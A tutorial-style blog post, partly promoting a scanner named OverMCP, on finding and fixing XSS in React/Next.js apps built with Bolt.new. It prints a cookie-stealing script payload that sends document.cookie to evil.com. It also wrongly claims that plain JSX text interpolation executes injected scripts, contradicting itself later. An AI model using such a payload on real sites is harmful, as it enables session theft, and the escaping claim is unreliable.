Bolt.new XSS Vulnerability: How to Fix It Step by Step

If you built your app with Bolt.new, you may have an XSS vulnerability lurking in your code. Here's the short answer: Bolt.new XSS vulnerability typically arises from unsanitized user input rendered via dangerouslySetInnerHTML or raw template interpolation. To fix it, replace raw HTML rendering with safe React patterns like JSX text, use DOMPurify for sanitization, and add a Content Security Policy header.

What Is an XSS Vulnerability?

Cross-Site Scripting (XSS) is a security flaw that lets attackers inject malicious scripts into web pages viewed by other users. When your app renders user input (like comments, search queries, or profile data) without proper sanitization, an attacker can embed <script> tags or event handlers that steal cookies, redirect users, or deface your site.

Bolt.new generates React/Next.js code quickly, but it often defaults to raw HTML rendering for simplicity. This is where Bolt.new XSS vulnerability sneaks in.

Why Bolt.new Apps Are Prone to XSS

Bolt.new prioritizes speed. When you prompt "show user comments," it might generate:

<div dangerouslySetInnerHTML={{ __html: comment.body }} />

Or in older Next.js patterns:

<div>{comment.body}</div>

If comment.body contains <script>alert('XSS')</script>, your app will execute that script. Bolt.new doesn't include sanitization by default because it assumes you'll add security later.

Real-World Example: A Bolt.new Comment Section

Imagine you built a blog with Bolt.new. The generated component might look like this:

// Generated by Bolt.new – UNSAFE
function Comment({ comment }) {
  return (
    <div className="comment">
      <h3>{comment.author}</h3>
      <div dangerouslySetInnerHTML={{ __html: comment.text }} />
    </div>
  );
}

An attacker posts a comment with:

<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>

Every visitor who loads that comment will have their cookies stolen. This is a classic Bolt.new XSS vulnerability.

How to Fix XSS in Bolt.new Apps

1. Replace `dangerouslySetInnerHTML` with JSX Text

The safest fix is to simply render user content as text, not HTML. React automatically escapes text content:

// SAFE
function Comment({ comment }) {
  return (
    <div className="comment">
      <h3>{comment.author}</h3>
      <p>{comment.text}</p>
    </div>
  );
}

If you don't need rich text (bold, links, images), this is the best solution.

2. Sanitize HTML with DOMPurify

If you must render HTML (e.g., Markdown output), sanitize it first using a library like DOMPurify:

npm install dompurify

Then wrap your content:

import DOMPurify from 'dompurify';

function Comment({ comment }) {
  const sanitized = DOMPurify.sanitize(comment.text);
  return (
    <div className="comment">
      <h3>{comment.author}</h3>
      <div dangerouslySetInnerHTML={{ __html: sanitized }} />
    </div>
  );
}

DOMPurify removes all dangerous tags and attributes while keeping safe ones like <b>, <i>, <a> (with target="_blank" and rel="noopener").

3. Add a Content Security Policy (CSP)

CSP is an HTTP header that restricts what scripts can run in your app. Even if XSS slips through, CSP can block it. In a Next.js app (common with Bolt.new), add it to next.config.js:

// next.config.js
const csp = {
  'default-src': ["'self'"],
  'script-src': ["'self'"],
  'style-src': ["'self'", "'unsafe-inline'"],
  'img-src': ["'self'", "data:", "https:"],
};

const ContentSecurityPolicy = Object.entries(csp)
  .map(([key, values]) => `${key} ${values.join(' ')}`)
  .join('; ');

module.exports = {
  async headers() {
    return [
      {
        source: '/(.*)',
        headers: [
          {
            key: 'Content-Security-Policy',
            value: ContentSecurityPolicy,
          },
        ],
      },
    ];
  },
};

This CSP blocks inline scripts (like <script>alert(1)</script>) unless you add 'unsafe-inline' (which you should avoid).

4. Validate and Encode on the Server

Always validate and sanitize input on the server side before storing it in your database. For example, in a Next.js API route:

// pages/api/comment.js
import DOMPurify from 'dompurify';
import { JSDOM } from 'jsdom';

const window = new JSDOM('').window;
const purify = DOMPurify(window);

export default async function handler(req, res) {
  const { text } = req.body;
  const sanitized = purify.sanitize(text);
  // Store sanitized in DB
  res.status(200).json({ success: true });
}

This ensures even if your client-side sanitization fails, the stored data is safe.

5. Use React's Built-in Escaping for Attribute Injection

XSS can also happen via attributes like href or src. Always validate URLs:

// UNSAFE (Bolt.new might generate this)
<a href={userInput}>Click</a>

// SAFE: Use a URL validator
function safeUrl(url) {
  try {
    const parsed = new URL(url);
    return ['http:', 'https:'].includes(parsed.protocol) ? url : '#';
  } catch {
    return '#';
  }
}

<a href={safeUrl(userInput)}>Click</a>

How to Audit Your Bolt.new App for XSS

Why OverMCP Can Help

OverMCP is purpose-built for vibe-coded apps. It scans your Bolt.new, Cursor, or Replit Agent code for common security issues like XSS, exposed secrets, and dependency vulnerabilities. Instead of manually hunting for dangerouslySetInnerHTML, OverMCP finds it for you in seconds.

Conclusion

Bolt.new XSS vulnerability is real, but it's easy to fix. Replace raw HTML rendering with safe JSX, sanitize with DOMPurify, add a CSP, and validate server-side. A few minutes of cleanup can save your users from cookie theft and your reputation from ruin.

FAQ

What is the most common XSS vulnerability in Bolt.new apps?

The most common is using dangerouslySetInnerHTML to render user input without sanitization. Bolt.new generates this pattern for rich text features.

Can I fix XSS without removing `dangerouslySetInnerHTML`?

Yes, if you must keep it, always sanitize the content with a library like DOMPurify before passing it to __html. Never trust user input.

Does Bolt.new have built-in XSS protection?

No, Bolt.new does not add XSS protection automatically. You must implement sanitization and security headers yourself after generation.